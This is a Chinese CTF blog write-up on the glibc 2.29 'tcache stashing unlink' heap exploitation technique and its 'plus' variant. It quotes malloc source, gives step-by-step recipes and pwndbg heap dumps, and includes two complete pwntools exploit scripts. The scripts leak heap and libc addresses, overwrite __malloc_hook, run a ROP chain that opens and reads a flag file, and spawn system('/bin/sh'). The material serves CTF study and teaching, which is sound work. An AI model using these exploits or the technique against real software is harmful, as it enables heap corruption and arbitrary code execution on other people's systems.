17 Feb 2020

glibc2.29-tcache stashing unlink

glibc2.29-tcache stashing unlink

👴的青春回来🌶

先学洋文

stashing	英[ˈstæʃɪŋ]    美[ˈstæʃɪŋ]
v.	存放; 贮藏; 隐藏;
[词典] stash的现在分词;
[例句] Instead of stashing an umbrella in your bag, consider grabbing one of his hats on a rainy day.
在下雨天,你不用在包里装把雨伞,而是可以考虑戴顶他的帽子。
[其他] 原型:stash

原理

  /*
     If a small request, check regular bin.  Since these "smallbins"
     hold one size each, no searching within bins is necessary.
     (For a large request, we need to wait until unsorted chunks are
     processed to find best fit. But for small ones, fits are exact
     anyway, so we can check now, which is faster.)
   */

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we're here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

申请了一个small chunk后,会去和申请大小一样smallbin找free chunk,如果有就把它放到tcache bin上

  • 条件
    1. small bin上至少有两个free chunk
    2. tcache bin必须有空间

此时发生两种unlink

  1. 把申请的small chunk从small bin中unlink出去,有完整性检查

    	  if (__glibc_unlikely (bck->fd != victim))
    	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
    
  2. 把small bin中剩余的free chunk unlink到tcache bin中,没有检查

    #if USE_TCACHE
    	  /* While we're here, if we see other chunks of the same size,
    	     stash them in the tcache.  */
    	  size_t tc_idx = csize2tidx (nb);
    	  if (tcache && tc_idx < mp_.tcache_bins)
    	    {
    	      mchunkptr tc_victim;
       
    	      /* While bin not empty and tcache not full, copy chunks over.  */
    	      while (tcache->counts[tc_idx] < mp_.tcache_count
    		     && (tc_victim = last (bin)) != bin)
    		{
    		  if (tc_victim != 0)
    		    {
    		      bck = tc_victim->bk;
    		      set_inuse_bit_at_offset (tc_victim, nb);
    		      if (av != &main_arena)
    			set_non_main_arena (tc_victim);
    		      bin->bk = bck;
    		      bck->fd = bin;
       
    		      tcache_put (tc_victim, tc_idx);
    	            }
    		}
    	    }
    #endif
    

    bck->fd = bin;可以利用

    bin是一个libc地址,如果能控制bck,就能任意地址写入一个libc地址,效果和unsorted bin attack差不多,👴的青春又回来🌶

    这个过程是一个循环,对于伪造的bck,bck->bk有可能是非法地址,下一个循环时会crash

    如果tcache bin只剩一个空间,循环一次结束,可以避免这种情况

    small bin可以通过last remainder得到

    1. 塞满tchache bin
    2. 再free一个进unsorted bin
    3. 从unsorted bin中切一部分出来,剩下last remainder的size在small范围
    4. 申请比last remainder大的chunk,last remainder送进small bin

    这种方法在glibc-2.27也好使

    这种方法在glibc-2.30也好使

基本操作

  1. 搞出来差一个就满的tcache bin,准备往里面塞

  2. 搞出来unsorted bin准备切

  3. 搞出来两个size在small chunk范围内的last remainder

  4. 申请size比last remainder的size大的chunk,last remainder进small bin

  5. 改后进入的small chunk的bk为fuck_addr,fd不变

  6. 申请和这两个small chunk的size相同的chunk,两个small chunk,先进入的分配出去,后进入的进tcache bin,fuck_addr+0x10写入一个libc地址

Hitcon 2019 one punch man

使用calloc,不从tcache bin里取出,很方便

目标是打tcache_perthread_struct()

for i in range(6):
	add(0,'a'*0xf0)
	free(0)

for i in range(7):
	add(0,'a'*0x400)
	free(0)

add(0,'b'*0x400)
add(2,'a'*0x400)
free(0)
add(2,'a'*0x300)

add(1,'c'*0x400)
add(2,'a'*0x400)
free(1)
add(2,'a'*0x300)

add(2,'a'*0x400)

edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x3a60)+p64(heap_base+0x1b))

add(1,'x'*0xf0)
r.interactive()

edit前

tcachebins
0x100 [  6]: 0x55555555a9f0 —▸ 0x55555555a8f0 —▸ 0x55555555a7f0 —▸ 0x55555555a6f0 —▸ 0x55555555a5f0 —▸ 0x55555555a4f0 ◂— 0x0

smallbins
0x100: 0x55555555d280 —▸ 0x55555555ca60 —▸ 0x7ffff7fb1d90 (main_arena+336) ◂— 0x55555555d280
pwndbg> x/10gx 0x55555555d280
0x55555555d280:	0x0000000000000000	0x0000000000000101
0x55555555d290:	0x000055555555ca60	0x00007ffff7fb1d90
0x55555555d2a0:	0x6363636363636363	0x6363636363636363
0x55555555d2b0:	0x6363636363636363	0x6363636363636363
0x55555555d2c0:	0x6363636363636363	0x6363636363636363
pwndbg> x/10gx 0x55555555ca60
0x55555555ca60:	0x0000000000000000	0x0000000000000101
0x55555555ca70:	0x00007ffff7fb1d90	0x000055555555d280
0x55555555ca80:	0x6262626262626262	0x6262626262626262
0x55555555ca90:	0x6262626262626262	0x6262626262626262
0x55555555caa0:	0x6262626262626262	0x6262626262626262

edit后

tcachebins
0x100 [  6]: 0x55555555a9f0 —▸ 0x55555555a8f0 —▸ 0x55555555a7f0 —▸ 0x55555555a6f0 —▸ 0x55555555a5f0 —▸ 0x55555555a4f0 ◂— 0x0

smallbins
0x100 [corrupted]
FD: 0x55555555d280 —▸ 0x55555555ca60 —▸ 0x7ffff7fb1d90 (main_arena+336) ◂— 0x55555555d280
BK: 0x55555555ca60 —▸ 0x55555555d280 —▸ 0x55555555901b ◂— 0x0
pwndbg> x/10gx 0x55555555d280
0x55555555d280:	0x0000000000000000	0x0000000000000101
0x55555555d290:	0x000055555555ca60	0x000055555555901b
0x55555555d2a0:	0x6363636363636363	0x6363636363636363
0x55555555d2b0:	0x6363636363636363	0x6363636363636363
0x55555555d2c0:	0x6363636363636363	0x6363636363636363
pwndbg> x/10gx 0x55555555ca60
0x55555555ca60:	0x0000000000000000	0x0000000000000101
0x55555555ca70:	0x00007ffff7fb1d90	0x000055555555d280
0x55555555ca80:	0x6262626262626262	0x6262626262626262
0x55555555ca90:	0x6262626262626262	0x6262626262626262
0x55555555caa0:	0x6262626262626262	0x6262626262626262

add(1,’x’*0xf0)后

tcachebins
0x100 [  7]: 0x55555555d290 —▸ 0x55555555a9f0 —▸ 0x55555555a8f0 —▸ 0x55555555a7f0 —▸ 0x55555555a6f0 —▸ 0x55555555a5f0 —▸ 0x55555555a4f0 ◂— 0x0

smallbins
0x100 [corrupted]
FD: 0x55555555d280 —▸ 0x55555555a9f0 ◂— 0x6161616161616161 ('aaaaaaaa')
BK: 0x55555555901b ◂— 0x0
pwndbg> x/10gx 0x55555555901b
0x55555555901b:	0x0000000007000000	0x0000000000000000
0x55555555902b:	0x00007ffff7fb1d90	0x0000000000000000

然后可以进后门,进之前uaf让后门的malloc申请的malloc_hook,把add_rsp_0x48_r写到malloc_hook

在下一次add中rop

from pwn import *
#r = remote('node3.buuoj.cn',25105)
r = process('./hitcon_ctf_2019_one_punch')
elf = ELF('./hitcon_ctf_2019_one_punch')
libc = ELF('./libc-2.29.so')


def add(index,name):
	r.recvuntil('> ')
	r.sendline('1')
	r.recvuntil('idx: ')
	r.sendline(str(index))
	r.recvuntil('hero name: ')
	r.send(name)


def edit(index,name):
	r.recvuntil('> ')
	r.sendline('2')
	r.recvuntil('idx: ')
	r.sendline(str(index))
	r.recvuntil('hero name: ')
	r.send(name)

def show(index):
	r.recvuntil('> ')
	r.sendline('3')
	r.recvuntil('idx: ')
	r.sendline(str(index))

def free(index):
	r.recvuntil('> ')
	r.sendline('4')
	r.recvuntil('idx: ')
	r.sendline(str(index))

def fuck(payload):
	r.recvuntil('> ')
	r.sendline('50056')
	r.sendline(payload)

for i in range(7):
	add(0,'a'*0x200)
	free(0)
show(0)
r.recvuntil('hero name: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
heap_base = leak - 0xcb0
log.success(hex(heap_base))
add(0,'a'*0x200)
add(1,'./flag\x00\x00'+'a'*0x200)
free(0)
show(0)
r.recvuntil('hero name: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x1e4ca0
log.success(hex(libc_base))
add(0,'a'*0x200)

for i in range(6):
	add(0,'a'*0xf0)
	free(0)

for i in range(7):
	add(0,'a'*0x400)
	free(0)


add(0,'b'*0x400)
add(2,'a'*0x400)
free(0)
add(2,'a'*0x300)

add(1,'c'*0x400)
add(2,'a'*0x400)
free(1)
add(2,'a'*0x300)

add(2,'a'*0x400)

edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x3a60)+p64(heap_base+0x1b))

add(0,'a'*0x217)
malloc_hook = libc_base+libc.sym['__malloc_hook']
free(0)
edit(0,p64(malloc_hook))

add(1,'x'*0xf0)

log.success(hex(malloc_hook))

add_rsp_0x48_r = libc_base + 0x8cfd6
fuck(p64(add_rsp_0x48_r))
fuck(p64(add_rsp_0x48_r))

p_rdi = libc_base + 0x26542
p_rsi = libc_base + 0x26f9e
p_rdx = libc_base + 0x12bda6
p_rax = libc_base + 0x47cf8
syscall = libc_base + 0xcf6c5

#open
payload = p64(p_rdi)+p64(heap_base+0x12e0)
payload += p64(p_rsi)+p64(0)
payload += p64(p_rdx)+p64(0)
payload += p64(p_rax)+p64(2)
payload += p64(syscall)

#read
payload += p64(p_rdi)+p64(3)
payload += p64(p_rsi)+p64(heap_base+0x12e0)
payload += p64(p_rdx)+p64(0x70)
payload += p64(p_rax)+p64(0)
payload += p64(syscall)

#write
payload += p64(p_rdi)+p64(1)
payload += p64(p_rsi)+p64(heap_base+0x12e0)
payload += p64(p_rdx)+p64(0x70)
payload += p64(p_rax)+p64(1)
payload += p64(syscall)
log.info(hex(len(payload)))
add(0,payload)
r.interactive()

比tcache stashing unlink更白给的tcache stashing unlink称作tcache stashing unlink plus

tcache stashing unlink实现任意地址写入一个libc地址

tcache stashing unlink plus同时实现任意地址分配和任意地址写入一个libc地址

也就是分配到fuck_addr1,同时向fuck_addr2写入一个libc地址

除了tcache stashing unlink的条件,还需要能控制fuck_addr1

从smallbin拿出来放入tcache的过程是一个循环,对于伪造的bck,bck->bk有可能是非法地址,下一个循环时会crash

在tcache stashing unlink中,为了防止crash,tcache只空出一个位置,塞满之后循环停止

在tcache stashing unlink plus中,tcache空出两个位置,把fuck_addr1写入后进入的smallchunk的bk

可以控制fuck_addr1,在fuck_addr1+0x18写入fuck_addr2,伪造bk

第一次循环,后进入的smallchunk进tcache,bck是fuck_addr1,bck->bk是fuck_addr2,是合法地址

第二次循环,fuck_addr1+0x10进tcache,bck是fuck_addr2,bck->fd = bin;,在fuck_addr2+0x10写入一个libc地址,tcache填满,循环结束

tcache白给,下次分配可以直接分配到fuck_addr1+0x10

  1. 搞出来差两个就满的tcache bin,准备往里面塞
  2. 搞出来unsorted bin准备切
  3. 搞出来两个size在small chunk范围内的last remainder
  4. 申请size比last remainder的size大的chunk,last remainder进small bin
  5. 改后进入的small chunk的bk为fuck_addr1,fd不变
  6. 在fuck_addr1+0x18写入fuck_addr2
  7. 申请和这两个small chunk的size相同的chunk,fuck_addr1+0x10进tcache,fuck_addr2+0x10写入一个libc地址
  8. 从tcache中取出fuck_addr1+0x10

高校战疫-two chunk

add用的是calloc,只有一次malloc

利用add中唯一一次malloc从tcache取出来一个,然后用唯一一次show泄露堆地址

开局在0x23333000伪造好,edit堆溢出,然后tcache stashing unlink

打印message泄露libc

leave message有一次malloc,申请到0x23333000,填入system binsh

触发后门

edit前

pwndbg> bin
tcachebins
0x90 [  5]: 0x5555555594a0 —▸ 0x555555559410 —▸ 0x555555559380 —▸ 0x5555555592f0 —▸ 0x555555559260 ◂— 0x0
0x100 [  3]: 0x55555555a220 —▸ 0x555555559630 —▸ 0x555555559530 ◂— 0x0
0x110 [  2]: 0x55555555ac70 —▸ 0x55555555a6c0 ◂— 0x0
0x190 [  7]: 0x55555555a090 —▸ 0x555555559f00 —▸ 0x555555559d70 —▸ 0x555555559be0 —▸ 0x555555559a50 —▸ 0x5555555598c0 —▸ 0x555555559730 ◂— 0x0
0x310 [  2]: 0x55555555a960 —▸ 0x55555555a3b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x90: 0x55555555a8c0 —▸ 0x55555555a310 —▸ 0x7ffff7faed20 (main_arena+224) ◂— 0x55555555a8c0
largebins
empty

pwndbg> x/10gx 0x23333000
0x23333000:	0x0000000000000000	0x0000000023333020
0x23333010:	0x0000000000000000	0x0000000000000000
0x23333020:	0x0000000000000000	0x0000000000000000
0x23333030:	0x000000006c736d6e	0x0000000000000000
0x23333040:	0x0000000000000000	0x0000000000000000

edit后

pwndbg> bin
tcachebins
0x90 [  5]: 0x5555555594a0 —▸ 0x555555559410 —▸ 0x555555559380 —▸ 0x5555555592f0 —▸ 0x555555559260 ◂— 0x0
0x100 [  3]: 0x55555555a220 —▸ 0x555555559630 —▸ 0x555555559530 ◂— 0x0
0x110 [  2]: 0x55555555ac70 —▸ 0x55555555a6c0 ◂— 0x0
0x190 [  7]: 0x55555555a090 —▸ 0x555555559f00 —▸ 0x555555559d70 —▸ 0x555555559be0 —▸ 0x555555559a50 —▸ 0x5555555598c0 —▸ 0x555555559730 ◂— 0x0
0x310 [  2]: 0x55555555a960 —▸ 0x55555555a3b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x90 [corrupted]
FD: 0x55555555a8c0 —▸ 0x55555555a310 —▸ 0x7ffff7faed20 (main_arena+224) ◂— 0x55555555a8c0
BK: 0x55555555a310 —▸ 0x55555555a8c0 —▸ 0x23332ff0 —▸ 0x23333020 ◂— 0x0
largebins
empty

tcache stashing unlink

pwndbg> bin
tcachebins
0x90 [  7]: 0x23333000 —▸ 0x55555555a8d0 —▸ 0x5555555594a0 —▸ 0x555555559410 —▸ 0x555555559380 —▸ 0x5555555592f0 —▸ 0x555555559260 ◂— 0x0
0x100 [  3]: 0x55555555a220 —▸ 0x555555559630 —▸ 0x555555559530 ◂— 0x0
0x110 [  2]: 0x55555555ac70 —▸ 0x55555555a6c0 ◂— 0x0
0x190 [  7]: 0x55555555a090 —▸ 0x555555559f00 —▸ 0x555555559d70 —▸ 0x555555559be0 —▸ 0x555555559a50 —▸ 0x5555555598c0 —▸ 0x555555559730 ◂— 0x0
0x310 [  2]: 0x55555555a960 —▸ 0x55555555a3b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x90 [corrupted]
FD: 0x55555555a8c0 —▸ 0x5555555594a0 ◂— 0x0
BK: 0x23333020 ◂— 0x0
largebins
empty

pwndbg> x/10gx 0x23333000
0x23333000:	0x000055555555a8d0	0x0000555555559010
0x23333010:	0x0000000000000000	0x0000000000000000
0x23333020:	0x0000000000000000	0x0000000000000000
0x23333030:	0x00007ffff7faed20	0x0000000000000000
0x23333040:	0x0000000000000000	0x0000000000000000

from pwn import *
#r = remote('121.36.209.145',9999)
#r = process(['./twochunk'],env={"LD_PRELOAD":"./libc.so.6"})
r = process('./twochunk')
#libc = ELF('./libc.so.6')
libc = ELF('./libc-2.29.so')
def add(index,size):
	r.recvuntil('choice:')
	r.sendline('1')
	r.recvuntil('idx:')
	r.sendline(str(index))
	r.recvuntil('size:')
	r.sendline(str(size))

def free(index):
	r.recvuntil('choice:')
	r.sendline('2')
	r.recvuntil('idx:')
	r.sendline(str(index))

def show(index):
	r.recvuntil('choice:')
	r.sendline('3')
	r.recvuntil('idx:')
	r.sendline(str(index))

def edit(index,content):
	r.recvuntil('choice:')
	r.sendline('4')
	r.recvuntil('idx:')
	r.sendline(str(index))
	r.recvuntil('content:')
	r.send(content)

def fuck_show():
	r.recvuntil('choice:')
	r.sendline('5')

def fuck_edit(content):
	r.recvuntil('choice:')
	r.sendline('6')
	r.recvuntil('leave your end message:')
	r.send(content)

def back_door():
	r.recvuntil('choice:')
	r.sendline('7')


r.recvuntil('leave your name:')
r.send(p64(0)+p64(0x23333020))

r.recvuntil('leave your message:')
r.send('nmsl')

#x/10gx 0x555555554000+0x40A0

for i in range(5):
	add(0,0x88)
	free(0)

add(0,0xe9)
free(0)
add(0,0xe9)
free(0)
add(0, 23333)
show(0)
r.recv(2)
heap_base = u64(r.recvuntil('1.add',drop=True).ljust(8,'\x00'))-0x530
free(0)

for i in range(7):
	add(0, 0x188)
	free(0)

add(0, 0x188)
add(1, 0x300)
free(0)
add(0,0xf8)
free(0)
add(0,0x100)

free(0)
free(1)

add(0, 0x188)
add(1, 0x300)
free(0)
free(1)

add(0, 0xf8)
add(1, 0x100)
free(1)

edit(0,'\x00'*0xf0+p64(0)+p64(0x91)+p64(heap_base+0x1310)+p64(0x23333000-0x10))

pause()
add(1, 0x88)


fuck_show()
r.recvuntil('message: ')
libc_base = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x1e4d20

log.success(hex(libc_base))
system = libc_base+libc.sym['system']
r.interactive()
fuck_edit( p64(system) + "/bin/sh\x00"+p64(0)*4+p64(0x23333008)+p64(0)*2)

r.interactive()

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).